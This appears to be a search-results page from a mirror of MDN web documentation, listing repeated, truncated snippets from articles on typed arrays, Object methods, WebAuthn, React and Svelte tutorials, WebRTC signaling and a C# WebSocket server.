new to web development, we encourage you to start small. you won't build another facebook right away, but it's not hard to get your own simple website online, so we'll start there. 37 css basics beginner, css, codingscripting, learn, styling, web, l10n:priority like html, css is not a programming language. it's not a markup language either. css is a style sheet language. css is w...
...And 14 more matches
Web Authentication API - Web APIs
nd-factor authentication with websites. this resolves significant security problems related to phishing, data breaches, and attacks against sms texts or other second-factor authentication methods while at the same time significantly increasing ease of use (since users don't have to manage dozens of increasingly complicated passwords). ...
... navigator.credentials.get() - when used with the publickey option, uses an existing set of credentials to authenticate to a service, either logging a user in or as a form of second-factor authentication. ...
...to an existing account, and the web authentication api acts as a replacement or supplement to those on those existing webpages. similar to the other forms of the credential management api, the web authentication api has two basic methods that correspond to register and login: navigator.credentials.create() - when used with the publickey option, creates
new credentials, either for registering a
new account or for associating a
new asymmetric key pair credentials with an existing account. navigator.credentials.get() - when used with the publickey option, uses an existing set of credentials to authenticate to a service, either logging a user in or as a form of second-factor authentication. please note: both create() and get() require a secure context (e.g. - the server is connected by http...
...And 14 more matches
Float32Array - JavaScript
ay of 32-bit floating point numbers (corresponding to the c float data type) in the platform byte order. if control over byte order is needed, use dataview instead. the contents are initialized to 0. once established, you can reference elements in the array using the object's methods, or using standard array index syntax (that is, using bracket notation). constructor float32array() creates a
new float32array object. static properties float32array.bytes_per_element returns a number value of the element size. 4 in the case of an float32array. float32array.name returns the string value of the constructor name. in the case of the float32array type: "float32array". static methods float32array.from() creates a
new float32array from an array-like or iterable object. see also array...
...see also array.of(). ...
...of its arraybuffer. fixed at construction time and thus read only. float32array.prototype.length returns the number of elements hold in the float32array. fixed at construction time and thus read only. instance methods float32array.prototype.copywithin() copies a sequence of array elements within the array. see also array.prototype.copywithin(). float32array.prototype.entries() returns a
new array iterator object that contains the key/value pairs for each index in the array. see also array.prototype.entries(). float32array.prototype.every() tests whether all elements in the array pass the test provided by a function. see also array.prototype.every(). float32array.prototype.fill() fills all the elements of an array from a start index to an end index with a static value. see also a...
...And 14 more matches
Float64Array - JavaScript
y of 64-bit floating point numbers (corresponding to the c double data type) in the platform byte order. if control over byte order is needed, use dataview instead. the contents are initialized to 0. once established, you can reference elements in the array using the object's methods, or using standard array index syntax (that is, using bracket notation). constructor float64array() creates a
new float64array object. static properties float64array.bytes_per_element returns a number value of the element size. 8 in the case of an float64array. float64array.name returns the string value of the constructor name. in the case of the float64array type: "float64array". static methods float64array.from() creates a
new float64array from an array-like or iterable object. see also array...
...see also array.of(). ...
...of its arraybuffer. fixed at construction time and thus read only. float64array.prototype.length returns the number of elements hold in the float64array. fixed at construction time and thus read only. instance methods float64array.prototype.copywithin() copies a sequence of array elements within the array. see also array.prototype.copywithin(). float64array.prototype.entries() returns a
new array iterator object that contains the key/value pairs for each index in the array. see also array.prototype.entries(). float64array.prototype.every() tests whether all elements in the array pass the test provided by a function. see also array.prototype.every(). float64array.prototype.fill() fills all the elements of an array from a start index to an end index with a static value. see also a...
...And 14 more matches
Object.prototype.constructor - JavaScript
and "test". description all objects (with the exception of objects created with object.create(null)) will have a constructor property. objects created without the explicit use of a constructor function (such as object- and array-literals) will have a constructor property that points to the fundamental object constructor type for that object. let o = {} o.constructor === object // true let o =
new object o.constructor === object // true let a = [] a.constructor === array // true let a =
new array a.constructor === array // true let n =
new number(3) n.constructor === number // true examples displaying the constructor of an object the following example creates a constructor (tree) and an object of that type (thetree). the example then displays the constructor property for the object ...
...== array // true let a =
new array a.constructor === array // true let n =
new number(3) n.constructor === number // true examples displaying the constructor of an object the following example creates a constructor (tree) and an object of that type (thetree). the example then displays the constructor property for the object thetree. function tree(name) { this.name = name } let thetree =
new tree('redwood') console.log('thetree.constructor is ' + thetree.constructor) this example displays the following output: thetree.constructor is function tree(name) { this.name = name } changing the constructor of an object the following example shows how to modify the constructor value of generic objects. only true, 1, and "test" will not be affected (as they have read-only native constru...
...r is function tree(name) { this.name = name } changing the constructor of an object the following example shows how to modify the constructor value of generic objects. only true, 1, and "test" will not be affected (as they have read-only native constructors). this example shows that it is not always safe to rely on the constructor property of an object. ...
...And 14 more matches
Object.defineProperty() - JavaScript
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax object.defineproperty(obj, prop, descriptor) parameters obj the object on which to define the property. prop the name or symbol of the property to be defined or modified. descriptor the descriptor for the property being defined or modified. return value the object that was passed to the function. ...
...ding or // removing the object prototype properties // (value, get, set, enumerable, writable, configurable) (object.freeze || object)(object.prototype); examples if you want to see how to use the object.defineproperty method with a binary-flags-like syntax, see additional examples. ...
...otype); examples if you want to see how to use the object.defineproperty method with a binary-flags-like syntax, see additional examples. creating a property when the property specified doesn't exist in the object, object.defineproperty() creates a
new property as described. fields may be omitted from the descriptor, and default values for those fields are inputted. ...
...And 14 more matches
Uint16Array - JavaScript
the uint16array typed array represents an array of 16-bit unsigned integers in the platform byte order. if control over byte order is needed, use dataview instead. the contents are initialized to 0. once established, you can reference elements in the array using the object's methods, or using standard array index syntax (that is, using bracket notation). constructor uint16array() creates a
new uint16array object. static properties uint16array.bytes_per_element returns a number value of the element size. 2 in the case of an uint16array. uint16array.name returns the string value of the constructor name. in the case of the uint16array type: "uint16array". static methods uint16array.from() creates a
new uint16array from an array-like or iterable object. see also array.from(). ...
...see also array.of(). ...
...art of its arraybuffer. fixed at construction time and thus read only. uint16array.prototype.length returns the number of elements hold in the uint16array. fixed at construction time and thus read only. instance methods uint16array.prototype.copywithin() copies a sequence of array elements within the array. see also array.prototype.copywithin(). uint16array.prototype.entries() returns a
new array iterator object that contains the key/value pairs for each index in the array. see also array.prototype.entries(). uint16array.prototype.every() tests whether all elements in the array pass the test provided by a function. see also array.prototype.every(). uint16array.prototype.fill() fills all the elements of an array from a start index to an end index with a static value. see also arr...
...And 14 more matches
Uint32Array - JavaScript
the uint32array typed array represents an array of 32-bit unsigned integers in the platform byte order. if control over byte order is needed, use dataview instead. the contents are initialized to 0. once established, you can reference elements in the array using the object's methods, or using standard array index syntax (that is, using bracket notation). constructor uint32array() creates a
new uint32array object. static properties uint32array.bytes_per_element returns a number value of the element size. 4 in the case of an uint32array. uint32array.name returns the string value of the constructor name. in the case of the uint32array type: "uint32array". static methods uint32array.from() creates a
new uint32array from an array-like or iterable object. see also array.from(). ...
...see also array.of(). ...
...art of its arraybuffer. fixed at construction time and thus read only. uint32array.prototype.length returns the number of elements hold in the uint32array. fixed at construction time and thus read only. instance methods uint32array.prototype.copywithin() copies a sequence of array elements within the array. see also array.prototype.copywithin(). uint32array.prototype.entries() returns a
new array iterator object that contains the key/value pairs for each index in the array. see also array.prototype.entries(). uint32array.prototype.every() tests whether all elements in the array pass the test provided by a function. see also array.prototype.every(). uint32array.prototype.fill() fills all the elements of an array from a start index to an end index with a static value. see also arr...
...And 14 more matches
Tabbed browser - Archive of obsolete content
can use: window.opener.gbrowser.addtab(...); if window.opener doesn't work, you can get the most recent browser window using this code: var wm = components.classes["@mozilla.org/appshell/window-mediator;1"] .getservice(components.interfaces.nsiwindowmediator); var mainwindow = wm.getmostrecentwindow("navigator:browser"); mainwindow.gbrowser.addtab(...); opening a url in a
new tab // add tab gbrowser.addtab("http://www.google.com/"); // add tab, then make active gbrowser.selectedtab = gbrowser.addtab("http://www.google.com/"); manipulating content of a
new tab if you want to work on the content of the
newly opened tab, you'll need to wait until the content has finished loading. // wrong way (the page hasn't finished loading yet) var
newtabbrowser = gbrowser.getbr...
.../ add tab, then make active gbrowser.selectedtab = gbrowser.addtab("http://www.google.com/"); manipulating content of a
new tab if you want to work on the content of the
newly opened tab, you'll need to wait until the content has finished loading. // wrong way (the page hasn't finished loading yet) var
newtabbrowser = gbrowser.getbrowserfortab(gbrowser.addtab("http://www.google.com/")); alert(
newtabbrowser.contentdocument.body.innerhtml); // better way var
newtabbrowser = gbrowser.getbrowserfortab(gbrowser.addtab("http://www.google.com/"));
newtabbrowser.addeventlistener("load", function () {
newtabbrowser.contentdocument.body.innerhtml = "<div>hello world</div>"; }, true); (the event target in the onload handler will be a 'tab' xul element). see tabbrowser for getbrowserfortab(). no...
...rk inside of the electrolysis (e10s) enabled tabs. opening a url in the correct window/tab there are methods available in chrome://browser/content/utilityoverlay.js that make it easy to open url in tabs such as openuilinkin and openuilink. ...
...And 13 more matches
CSS3 - Archive of obsolete content
experimental parts are vendor-prefixed and should either be avoided in production environments, or used with extreme caution as both their syntax and semantics can change in the future. ...
... accelerate the standardization of non-problematic features, the css working group of the w3c, in a decision referred as the beijing doctrine, divided css in smaller components called modules . each of these modules is now an independent part of the language and moves towards standardization at its own pace. while some modules are already w3c recommendations, other still are early working drafts.
new modules are also added when
new needs are identified. formally, there is no css3 standard per se . each module being standardized independently, the standard css consists of css2.1 amended and extended by the completed modules, not necessary all with the same level number. at each point of time, a snapshot of the css standard can be defined, listing css2.1 and the mature modules. the w3 conso...
...th, 2011 adds the support for the xml namespaces by defining the notion of css qualified name, using the ' | ' syntax and adding the @namespace css at-rule. selectors level 3 recommendation since september 29th, 2011 adds: substring matching attribute selectors, e[attribute^="value"], e[attribute$="value"], e[attribute*="value"] .
new pseudo-classes: :target, :enabled and :disabled, :checked, :indeterminate, :root, :nth-child and :nth-last-child, :nth-of-type and :nth-last-of-type, :last-child, :first-of-type and :last-of-type, :only-child and :only-of-type,:empty, and :not. pseudo-elements are now characterized by two colons rather than one: :after becomes ::after, :before becomes ::before, :first-letter becomes ::first-...
...And 13 more matches
ArrayBuffer.transfer() - Archive of obsolete content
description the arraybuffer.transfer() method allows you to grow and detach arraybuffer objects. ...
... description the arraybuffer.transfer() method allows you to grow and detach arraybuffer objects. ...
... description the arraybuffer.transfer() method allows you to grow and detach arraybuffer objects. ...
...And 13 more matches
Index - MDN Web Docs Glossary: Definitions of Web-related terms
re library in webkit, which handles layout, rendering, and dom, but now stands on its own as a separate rendering engine. 32 block disambiguation, glossary the term block can have several meanings depending on the context. it may refer to: 33 block (css) css, codingscripting, design, glossary, html a block on a webpage is an html element that appears on a
new line, i.e. underneath the preceding element in a horizontal writing mode, and above the following element (commonly known as a block-level element). for example, <p> is by default a block-level element, whereas <a> is an inline element — you can put several links next to one another in your html source and they will sit on the same line as one another in the rendered output. 34 block...
... 59 cache glossary, http a cache (web cache or http cache) is a component that stores http responses temporarily so that it can be used for subsequent http requests as long as it meets certain conditions. 60 cacheable glossary, webmechanics a cacheable response is an http response that can be cached, that is stored to be retrieved and used later, saving a
new request to the server. not all http responses can be cached, these are the following constraints for an http response to be cached: 61 caldav caldav, glossary, infrastructure caldav (calendaring extensions to webdav) is a protocol standardized by the ietf and used to remotely access calendar data from a server. 62 call stack call stack, codingscripting, glossar...
...nner, codingscripting, glossary a condition is a set of rules that can interrupt normal code execution or change it, depending on whether the condition is completed or not. 87 constant codingscripting, constant, glossary a constant is a value that the programmer cannot change, for example numbers (1, 2, 42). with variables, on the other hand, the programmer can assign a
new value to a variable name already in use. 88 constructor codingscripting, glossary a constructor belongs to a particular class object that is instantiated. the constructor initializes this object and can provide access to its private information. the concept of a constructor can be applied to most object-oriented programming languages. essentially, a constructor in javascript ...
...And 13 more matches
Positioning - Learn web development
try this out, add the following declarations to the .positioned rule in your css: top: 30px; left: 30px; note: the values of these properties can take any units you'd logically expect — pixels, mm, rems, %, etc. if you now save and refresh, you'll get a result something like this: <h1>relative positioning</h1> <p>i am a basic block level element. my adjacent block level elements sit on
new lines below me.</p> <p class="positioned">by default we span 100% of the width of our parent element, and we are as tall as our child content. our total width and height is our content + padding + border width/height.</p> <p>we are separated by our margins. because of margin collapsing, we are separated by the width of one of our margins, not both.</p> <p>inline elements <span>like this one</s...
...our content + padding + border width/height.</p> <p>we are separated by our margins. because of margin collapsing, we are separated by the width of one of our margins, not both.</p> <p>inline elements <span>like this one</span> and <span>this one</span> sit on the same line as one another, and adjacent text nodes, if there is space on the same line. ...
...ns. because of margin collapsing, we are separated by the width of one of our margins, not both.</p> <p>inline elements <span>like this one</span> and <span>this one</span> sit on the same line as one another, and adjacent text nodes, if there is space on the same line. ...
...And 13 more matches
React interactivity: Events and state - Learn web development
ow if you head back to your browser and click on the "add" button, your browser will show you an alert dialog with the words "hello, world!" — or whatever you chose to write there. callback props in react applications, interactivity is rarely confined to just one component: events that happen in one component will affect other parts of the app. when we start giving ourselves the power to make
new tasks, things that happen in the <form /> component will affect the list rendered in <app />. we want our handlesubmit() function to ultimately help us create a
new task, so we need a way to pass information from <form /> to <app />. we can't pass data from child to parent in the same way as we pass data from parent to child using standard props. instead, we can write a function in <app /> that ...
...r instance, we could have given our form a prop of onsubmit with the value of addtask. state and the usestate hook so far, we've used props to pass data through our components and this has served us just fine. now that we're dealing with user input and data updates, however, we need something more. for one thing, props come from the parent of a component. our <form /> will not be inheriting a
new name for our task; our <input /> element lives directly inside of <form />, so <form/> will be directly responsible for creating that
new name. we can't ask <form /> to spontaneously create its own props, but we can ask it to track some of its own data for us. data such as this, which a component itself owns, is called state. state is another powerful tool for react because components not only o...
...reate its own props, but we can ask it to track some of its own data for us. data such as this, which a component itself owns, is called state. state is another powerful tool for react because components not only own state, but can update it later. it's not possible to update the props a component receives; only to read them. react provides a variety of special functions that allow us to provide
new capabilities to components, like state. these functions are called hooks, and the usestate hook, as its name implies, is precisely the one we need in order to give our component some state. to use a react hook, we need to import it from the react module. in form.js, change your very first line so that it reads like this: import react, { usestate } from "react"; this allows us to import the use...
...And 13 more matches
Working with Svelte stores - Learn web development
to a global data store might be a good option. if you’ve already worked with redux or vuex, then you'll be familiar with how this kind of store works. svelte stores offer similar features for state management. a store is simply an object with a subscribe() method that allows interested parties to be notified whenever the store value changes, and an optional set() method that allows you to set
new values for the store. this minimal api is known as the store contract. svelte provides functions for creating readable, writable, and derived stores in the svelte/store module. svelte also provides a very intuitive way to integrate stores into its reactivity system using the reactive $store syntax. if you create your own stores honoring the store contract, you get this reactivity syntactic suga...
...layed by the app component, but any component can send notifications to it; whenever a notification arrives the alert component will be in charge of displaying it on screen. creating a store let's start by creating a writable store. any component will be able to write to this store, and the alert component will subscribe to it and display a message whenever the store is modified. create a
new file — stores.js — inside your src directory. give it the following content: import { writable } from 'svelte/store' export const alert = writable('welcome to the to-do list app!') note: stores can be defined and used outside of svelte components, so you can organize them in any way you please. in the above code we import the writable() function from svelte/store and use it t...
...tores.js — inside your src directory. give it the following content: import { writable } from 'svelte/store' export const alert = writable('welcome to the to-do list app!') note: stores can be defined and used outside of svelte components, so you can organize them in any way you please. in the above code we import the writable() function from svelte/store and use it to create a
new store called alert with an initial value of "welcome to the to-do list app!". we then export the store. creating the actual component let's now create our alert component and see how we can read values from the store. create another
new file named src/components/alert.svelte. give it the following content: <script> import { alert } from '../stores.js' import { ondestroy } fro...
...And 13 more matches
Gecko info for Windows accessibility vendors
pplications. contains more desktop-style widgets than html and follows a box layout model, rather than being text-flow based. ajax: asynchronous javascript and xml ajax is a method of building interactive web applications that process user requests, user actions immediately in real time, unlike an http request, during which users must wait for a whole page to reload or for a
new page to load. data is therefore stored and retrieved dynamically much faster. roles, states and events: please read the msaa documentation on msdn if you are unfamiliar with these. in general we abbreviate by removing redundant words. for example, we may say event_alert instead of the full event_system_alert. msaa tree vs. dom tree - what's the relation? the...
...cument, isimpledomnode and isimpledomtext). if there is no msaa node for a dom node, or vice-versa, queryservice() will return null. anything that is focusable or conveys important information about the structure of the document is exposed in the msaa tree of iaccessibles. windows applications based on the gecko layout engine gecko is a rendering engine that mozilla, netscape and other
new browsers use. gecko can render a variety of content, not just html and supports key web standards such as cascading style sheets, javascript and the w3c dom. gecko also handles the users keystrokes and mouse clicks. gecko is the core architecture that we are adding accessibility to, in order to support basic accessibility in all applications that are based on it. embedded clients (support msaa)...
...ument then this should be treated as a document for the default modality of the screen reader. if it is a role_application, role_dialog or role_alert then stay in focus tracking mode -- there is no need to parse the document. in addition, if it is a role_alert, a screen reader should treat it as a message box -- that is, to read the entire contents. these roles can occur on content because of the
new accessible dhtml technology which allows the author to specify the type of document or container. once you know that you have a document, go up the ancestor chain of windows until you see a mozillacontentwindowclass or a mozillauiwindowclass. if it is a content window, you may use accessibleobjectfromwindow() to get the root iaccessible for the content, and begin traversing the tree from there.
...And 13 more matches
HTTP Cache
it is strongly encoraged to not use the old cache api any more - nsicacheservice et al. it will soon be completely obsoleted and removed (bug 913828). ...
...the code resides in /network/cache2. api here is a detailed description of the http cache v2 api, examples included. this document only contains what cannot be found or may not be clear directly from the idl files comments. the cache api is completely thread-safe and non-blocking. there is no ipc support. it's only accessible on the default chrome process. when there is no profile the
new http cache works, but everything is stored only in memory not obeying any particular limits. it is strongly encoraged to not use the old cache api any more - nsicacheservice et al. it will soon be completely obsoleted and removed (bug 913828). nsicachestorageservice the http cache entry-point. accessible as a service only, fully thread-safe, scriptable. //github.com/realityrippl...
...realityripple/uxp/blob/master/netwerk/cache2/nsicacheentryopencallback.idl the result of nsicachestorage.asyncopenuri is always and only sent to callbacks on this interface. these callbacks are ensured to be invoked when asyncopenuri returns ns_ok. important difference in behavior from the old cache: when the cache entry object is already present in memory or open as “force-
new” (a.k.a “open-truncate”) this callback is invoked sooner then the asyncopenuri method returns (i.e. immediately); there is currently no way to opt out of this feature (watch bug 938186). nsicacheentry //github.com/realityripple/uxp/blob/master/netwerk/cache2/nsicacheentry.idl obtained asynchronously or pseudo-asynchronously by a call to nsicachestorage.asyncopenuri. ...
...And 13 more matches
JSAPI Cookbook
args.rval().setnull(); return true; } ... /* * add this to your jscontext setup code. * this makes your c function visible as a global function in javascript. */ if (!js_definefunction(cx, global, "justforfun", &justforfun, 0, 0)) return false; to define many jsapi functions at once, use js_definefunctions. ...
... * add this to your jscontext setup code. * this makes your c function visible as a global function in javascript. */ if (!js_definefunction(cx, global, "justforfun", &justforfun, 0, 0)) return false; to define many jsapi functions at once, use js_definefunctions. ...
...efinefunction(cx, global, "justforfun", &justforfun, 0, 0)) return false; to define many jsapi functions at once, use js_definefunctions. ...
...And 13 more matches
SpiderMonkey 1.8
the mozilla javascript team is pleased to announce the release of spidermonkey 1.8 release candidate 1. you can download full source code here: http://ftp.mozilla.org/pub/mozilla.org/js/js-1.8.0-rc1.tar.gz (md5 checksum: eaad8815dcc66a717ddb87e9724d964e). spidermonkey 1.8 is the javascript engine that shipped in firefox 3.0. it is much faster than spidermonkey 1.7 and contains a few
new language features and api features, described in detail below. please let us know about your experiences with this release by posting in the mozilla.dev.tech.js-engine
newsgroup. or, file bugs at bugzilla.mozilla.org under product: core, component: javascript engine. —9 march 2009 known issues spidermonkey 1.8 has one known significant regression from 1.7. in js_threadsafe builds, some objects are...
...sion from 1.7. in js_threadsafe builds, some objects are not safe to be shared among threads. this includes iterators and generators (bug 349263) and arrays (bug 417501). in short, applications that share objects among threads in such a way that two threads could access an array, iterator, or generator object at the same time should not use spidermonkey 1.8. there is a minor known bug in the
new javascript 1.8 functionality. when javascript 1.8 support is enabled, the parser accepts some incorrect programs by inserting a semicolon where it should instead throw a syntaxerror (bug 384758). this bug will be fixed in 1.8.1. migrating to spidermonkey 1.8 spidermonkey 1.8 is not binary-compatible with previous releases. it is source-compatible with spidermonkey 1.7 though, which means ...
...eases. it is source-compatible with spidermonkey 1.7 though, which means you can probably just recompile and relink your application. a handful of changes are not backwards-compatible: the result of assigning to a property with a setter has changed (bug 312354). in javascript 1.7 and earlier, x = [].length = "7"; would store the number 7 in x. now this statement stores the string "7" in x. the
new behavior conforms to the ecmascript standard, ecma 262-3 §11.13.1. in certain cases, the javascript engine no longer calls jsclass.resolve callbacks repeatedly, as it did in previous versions. specifically, if a property lookup first calls a resolve hook which does not define the property, then finds the property on a prototype, that result can be cached. future lookups for the same property on...
...And 13 more matches
Applying styles and colors - Web APIs
le = color sets the style used when filling shapes. strokestyle = color sets the style for shapes' outlines. color is a string representing a css <color>, a gradient object, or a pattern object. we'll look at gradient and pattern objects later. by default, the stroke and fill color are set to black (css color value #000000). note: when you set the strokestyle and/or fillstyle property, the
new value becomes the default for all shapes being drawn from then on. for every shape you want in a different color, you will need to reassign the fillstyle or strokestyle property. the valid strings you can enter should, according to the specification, be css <color> values. each of the following examples describe the same color. // these all set the fillstyle to 'orange' ctx.fillstyle = 'orang...
...aw semi transparent rectangles for (var i = 0; i < 10; i++) { ctx.fillstyle = 'rgba(255, 255, 255, ' + (i + 1) / 10 + ')'; for (var j = 0; j < 4; j++) { ctx.fillrect(5 + i * 14, 5 + j * 37.5, 14, 27.5); } } } <canvas id="canvas" width="150" height="150"></canvas> draw(); screenshotlive sample line styles there are several properties which allow us to style lines. li
newidth = value sets the width of lines drawn in the future. linecap = type sets the appearance of the ends of lines. linejoin = type sets the appearance of the "corners" where lines meet. miterlimit = value establishes a limit on the miter when two lines join at a sharp angle, to let you control how thick the junction becomes. getlinedash() returns the current line dash pattern array contai...
...harp angle, to let you control how thick the junction becomes. getlinedash() returns the current line dash pattern array containing an even number of non-negative numbers. setlinedash(segments) sets the current line dash pattern. linedashoffset = value specifies where to start a dash array on a line. you'll get a better understanding of what these do by looking at the examples below. a li
newidth example this property sets the current line thickness. values must be positive numbers. by default this value is set to 1.0 units. the line width is the thickness of the stroke centered on the given path. in other words, the area that's drawn extends to half the line width on either side of the path. because canvas coordinates do not directly reference pixels, special care must be taken to ...
...And 13 more matches
Signaling and video calling - Web APIs
rmation and deliver it to its own ice subsystem. all you have to do is channel the information back and forth. the contents don't matter at all to the signaling server. readying the chat server for signaling our chat server uses the websocket api to send information as json strings between each client and the server. the server supports several message types to handle tasks, such as registering
new users, setting usernames, and sending public chat messages. to allow the server to support signaling and ice negotiation, we need to update the code. we'll have to allow directing messages to one specific user instead of broadcasting to all connected users, and ensure unrecognized message types are passed through and delivered, without the server needing to know what they are. this lets us send ...
...hich media then begins to flow. if they later agree on a better (usually higher-performance) candidate, the stream may change formats as needed. though not currently supported, a candidate received after media is already flowing could theoretically also be used to downgrade to a lower-bandwidth connection if needed. each ice candidate is sent to the other peer by sending a json message of type "
new-ice-candidate" over the signaling server to the remote peer. each candidate message include these fields: type the message type: "
new-ice-candidate". target the username of the person with whom negotiation is underway; the server will direct the message to this user only. candidate the sdp candidate string, describing the proposed connection method. you typically don't need to look at the...
...his includes nat or other networking complexity. note: the important thing to note is this: the only thing your code is responsible for during ice negotiation is accepting outgoing candidates from the ice layer and sending them across the signaling connection to the other peer when your onicecandidate handler is executed, and receiving ice candidate messages from the signaling server (when the "
new-ice-candidate" message is received) and delivering them to your ice layer by calling rtcpeerconnection.addicecandidate(). that's it. the contents of the sdp are irrelevant to you in essentially all cases. avoid the temptation to try to make it more complicated than that until you really know what you're doing. that way lies madness. all your signaling server now needs to do is send the message...
...And 13 more matches
Writing a WebSocket server in C# - Web APIs
ess object from a string, use the parse static method of ipaddress. methods: start() system.net.sockets.tcpclient accepttcpclient() waits for a tcp connection, accepts it and returns it as a tcpclient object. ...
...returns it as a tcpclient object. here's a barebones server implementation: using system.net.sockets; using system.net; using system; class server { public static void main() { tcplistener server =
new tcplistener(ipaddress.parse("127.0.0.1"), 80); server.start(); console.writeline("server has started on 127.0.0.1:80.{0}waiting for a connection...", environment.
newline); tcpclient client = server.accepttcpclient(); console.writeline("a client connected."); } } tcpclient methods: system.net.sockets.networkstream getstream() gets the stream which is the communication channel. both sides of the channel have reading and writing capability. properties: int available this property indicates how many bytes of data have been sen...
...fset, int size) reads bytes to buffer. offset and size determine the length of the message. let us extend our example. tcpclient client = server.accepttcpclient(); console.writeline("a client connected."); networkstream stream = client.getstream(); //enter to an infinite cycle to be able to handle every change in stream while (true) { while (!stream.dataavailable); byte[] bytes =
new byte[client.available]; stream.read(bytes, 0, bytes.length); } handshaking when a client connects to a server, it sends a get request to upgrade the connection to a websocket from a simple http request. this is known as handshaking. this sample code can detect a get from the client. note that this will block until the first 3 bytes of a message are available. alternative solutions should ...
...And 13 more matches
Functions - JavaScript
bugger's stack traces: const factorial = function fac(n) { return n < 2 ? 1 : n * fac(n - 1) } console.log(factorial(3)) function expressions are convenient when passing a function as an argument to another function. the following example shows a map function that should receive a function as first argument and an array as second argument. ...
...ment. function map(f, a) { let result = []; // create a
new array let i; // declare variable for (i = 0; i != a.length; i++) result[i] = f(a[i]); return result; } in the following code, the function receives a function defined by a function expression and executes it for every element of the array received as a second argument. function map(f, a) { let result = []; // create a
new array let i; // declare variable for (i = 0; i != a.length; i++) result[i] = f(a[i]); return result; } const f = function(x) { return x * x * x; } let numbers = [0, 1, 2, 5, 10]; let cube = map(f,numbers); console.log(cube); function returns: [0, 1, 8, 125, 1000]. in javascript, a function can be defined based on a condition. for example, the following function definition defines m...
... // think of it like: give me a function that adds 3 to whatever you give // it result = fn_inside(5); // returns 8 result1 = outside(3)(5); // returns 8 preservation of variables notice how x is preserved when inside is returned. a closure must preserve the arguments and variables in all scopes it references. since each call provides potentially different arguments, a
new closure is created for each call to outside. the memory can be freed only when the returned inside is no longer accessible. this is not different from storing references in other objects, but is often less obvious because one does not set the references directly and cannot inspect them. multiply-nested functions functions can be multiply-nested. for example: a function (a) contains a funct...
...And 13 more matches
Indexed collections - JavaScript
u can use the predefined array object and its methods to work with arrays in your applications. the array object has methods for manipulating arrays in various ways, such as joining, reversing, and sorting them. it has a property for determining the array length and other properties for use with regular expressions. creating an array the following statements create equivalent arrays: let arr =
new array(element0, element1, ..., elementn) let arr = array(element0, element1, ..., elementn) let arr = [element0, element1, ..., elementn] element0, element1, ..., elementn is a list of values for the array's elements. when these values are specified, the array is initialized with them as the array's elements. the array's length property is set to the number of arguments. the bracket syntax is ...
...em as the array's elements. the array's length property is set to the number of arguments. the bracket syntax is called an "array literal" or "array initializer." it's shorter than other forms of array creation, and so is generally preferred. see array literals for details. to create an array with non-zero length, but without any items, either of the following can be used: // this... let arr =
new array(arraylength) // ...results in the same array as this let arr = array(arraylength) // this has exactly the same effect let arr = [] arr.length = arraylength note: in the above code, arraylength must be a number. otherwise, an array with a single element (the provided value) will be created. calling arr.length will return arraylength, but the array doesn't contain any elements. a for...
... = array(arraylength) // this has exactly the same effect let arr = [] arr.length = arraylength note: in the above code, arraylength must be a number. otherwise, an array with a single element (the provided value) will be created. calling arr.length will return arraylength, but the array doesn't contain any elements. a for...in loop will not find any property on the array. in addition to a
newly defined variable as shown above, arrays can also be assigned as a property of a
new or an existing object: let obj = {} // ... obj.prop = [element0, element1, ..., elementn] // or let obj = {prop: [element0, element1, ...., elementn]} if you wish to initialize an array with a single element, and the element happens to be a number, you must use the bracket syntax. when a single number value ...
...And 13 more matches
Int16Array - JavaScript
rray typed array represents an array of twos-complement 16-bit signed integers in the platform byte order. if control over byte order is needed, use dataview instead. the contents are initialized to 0. once established, you can reference elements in the array using the object's methods, or using standard array index syntax (that is, using bracket notation). constructor int16array() creates a
new int16array object. static properties int16array.bytes_per_element returns a number value of the element size. 2 in the case of an int16array. int16array.name returns the string value of the constructor name. in the case of the int16array type: "int16array". static methods int16array.from() creates a
new int16array from an array-like or iterable object. see also array.from(). int16a...
...see also array.of(). ...
...e start of its arraybuffer. fixed at construction time and thus read only. int16array.prototype.length returns the number of elements hold in the int16array. fixed at construction time and thus read only. instance methods int16array.prototype.copywithin() copies a sequence of array elements within the array. see also array.prototype.copywithin(). int16array.prototype.entries() returns a
new array iterator object that contains the key/value pairs for each index in the array. see also array.prototype.entries(). int16array.prototype.every() tests whether all elements in the array pass the test provided by a function. see also array.prototype.every(). int16array.prototype.fill() fills all the elements of an array from a start index to an end index with a static value. see also array...
...And 13 more matches
Int32Array - JavaScript
rray typed array represents an array of twos-complement 32-bit signed integers in the platform byte order. if control over byte order is needed, use dataview instead. the contents are initialized to 0. once established, you can reference elements in the array using the object's methods, or using standard array index syntax (that is, using bracket notation). constructor int32array() creates a
new int32array object. static properties int32array.bytes_per_element returns a number value of the element size. 4 in the case of an int32array. int32array.name returns the string value of the constructor name. in the case of the int32array type: "int32array". static methods int32array.from() creates a
new int32array from an array-like or iterable object. see also array.from(). int32a...
...see also array.of(). ...
...e start of its arraybuffer. fixed at construction time and thus read only. int32array.prototype.length returns the number of elements hold in the int32array. fixed at construction time and thus read only. instance methods int32array.prototype.copywithin() copies a sequence of array elements within the array. see also array.prototype.copywithin(). int32array.prototype.entries() returns a
new array iterator object that contains the key/value pairs for each index in the array. see also array.prototype.entries(). int32array.prototype.every() tests whether all elements in the array pass the test provided by a function. see also array.prototype.every(). int32array.prototype.fill() fills all the elements of an array from a start index to an end index with a static value. see also array...
...And 13 more matches
Object.create() - JavaScript
the object.create() method creates a
new object, using an existing object as the prototype of the
newly created object. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax object.create(proto, [propertiesobject]) parameters proto the object which should be the prototype of the
newly-created object. ...
...st. syntax object.create(proto, [propertiesobject]) parameters proto the object which should be the prototype of the
newly-created object. propertiesobject optional if specified and not undefined, an object whose enumerable own properties (that is, those properties defined upon itself and not enumerable properties along its prototype chain) specify property descriptors to be added to the
newly-created object, with the corresponding property names. these properties correspond to the second argument of object.defineproperties(). return value a
new object with the specified prototype object and properties. exceptions the proto parameter has to be either null or an object excluding primitive wrapper objects. if proto is neither of these a typeerror is thrown. custom and null ...
...object, with the corresponding property names. these properties correspond to the second argument of object.defineproperties(). return value a
new object with the specified prototype object and properties. exceptions the proto parameter has to be either null or an object excluding primitive wrapper objects. if proto is neither of these a typeerror is thrown. custom and null objects a
new object created from a completely custom object (especially one created from the null object, which is basically a custom object with no members) can behave in unexpected ways. this is especially true when debugging, since common object-property converting/detecting utility functions may generate errors, or simply lose information (especially if using silent error-traps that ignore errors). for ex...
...And 13 more matches
tabs - Archive of obsolete content
tabs.on('open', function onopen(tab) { myopentabs.push(tab); }); // listen for tab content loads. ...
